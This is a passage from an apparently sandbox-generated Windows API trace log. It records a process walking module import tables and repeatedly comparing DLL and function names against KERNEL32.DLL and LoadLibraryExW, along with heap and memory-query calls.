(lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-ThreadPool-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.539] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.539] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040d60 | out: hHeap=0x2030000) returned 1 [0073.539] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.539] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.539] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040d60 [0073.539] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.539] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.539] lstrcmpiA (lpString1="K32QueryWorkingSet", lpString2="LoadLibraryExW") returned -1 [0073.539] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.539] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.539] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.539] lstrcmpiA (lpString1="K32GetPerformanceInfo", lpString2="LoadLibraryExW") returned -1 [0073.539] lstrcmpiA (lpString1="K32GetProcessMemoryInfo", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EmptyWorkingSet", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetProcessImageFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetModuleBaseNameW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumDeviceDrivers", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumPageFilesA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumProcessModules", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumPageFilesW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetModuleFileNameExW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetModuleFileNameExA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32InitializeProcessForWsWatch", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetModuleInformation", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetWsChanges", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32QueryWorkingSetEx", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumProcesses", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetMappedFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetModuleBaseNameA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetMappedFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetProcessImageFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32GetWsChangesEx", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="K32EnumProcessModulesEx", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.540] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.540] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.540] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040d60 | out: hHeap=0x2030000) returned 1 [0073.540] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.540] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.540] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040d60 [0073.540] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.540] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.540] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.541] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.541] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.541] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.541] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.541] lstrcmpiA (lpString1="ReadDirectoryChangesW", lpString2="LoadLibraryExW") returned 1 [0073.541] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0073.541] lstrcmpiA (lpString1="GetCompressedFileSizeW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0073.541] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.541] lstrcmpiA (lpString1="EnumResourceNamesW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GetShortPathNameA", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="GetDateFormatW", lpString2="LoadLibraryExW") returned -1 [0073.541] lstrcmpiA (lpString1="PowerCreateRequest", lpString2="LoadLibraryExW") returned 1 [0073.541] lstrcmpiA (lpString1="PowerSetRequest", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="PowerClearRequest", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="GetProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GetVolumeNameForVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="WTSGetActiveConsoleSessionId", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="GetPrivateProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GetVolumePathNamesForVolumeNameW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GetProductInfo", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="UnregisterWait", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="WritePrivateProfileSectionW", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="GetPrivateProfileSectionNamesW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="QueryFullProcessImageNameW", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="FindAtomW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GlobalFlags", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="SetVolumeLabelW", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0073.542] lstrcmpiA (lpString1="FlushInstructionCache", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="GetPhysicallyInstalledSystemMemory", lpString2="LoadLibraryExW") returned -1 [0073.542] lstrcmpiA (lpString1="FileTimeToLocalFileTime", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="TzSpecificLocalTimeToSystemTime", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="FindResourceExW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="IsProcessInJob", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="ResolveLocaleName", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="LocaleNameToLCID", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="GetSystemPreferredUILanguages", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="QueryActCtxW", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.543] lstrcmpiA (lpString1="GetBinaryTypeW", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0073.543] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="RstrtMgr.DLL", lpString2="KERNEL32.DLL") returned 1 [0073.543] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0073.543] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0073.543] lstrcmpiA (lpString1="DEVMGR.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="dwmapi.dll", lpString2="KERNEL32.DLL") returned -1 [0073.543] lstrcmpiA (lpString1="urlmon.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="WININET.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="Secur32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="USERENV.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="OLEACC.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="VERSION.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="dsrole.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="samcli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="srvcli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="wkscli.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="DAVHLPR.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="CSCAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="slc.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="UxTheme.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="ntshrui.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="EFSUTIL.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="SHDOCVW.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="EFSADU.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="LINKINFO.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="DUser.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="DUI70.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="apphelp.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="WINBRAND.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="credui.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="gdiplus.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="IMM32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0073.544] lstrcmpiA (lpString1="XmlLite.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] lstrcmpiA (lpString1="WINSTA.dll", lpString2="KERNEL32.DLL") returned 1 [0073.544] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040d60 | out: hHeap=0x2030000) returned 1 [0073.544] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.545] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.545] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040d60 [0073.545] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.545] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetModuleHandleExA", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="LCIDToLocaleName", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0073.545] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.545] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 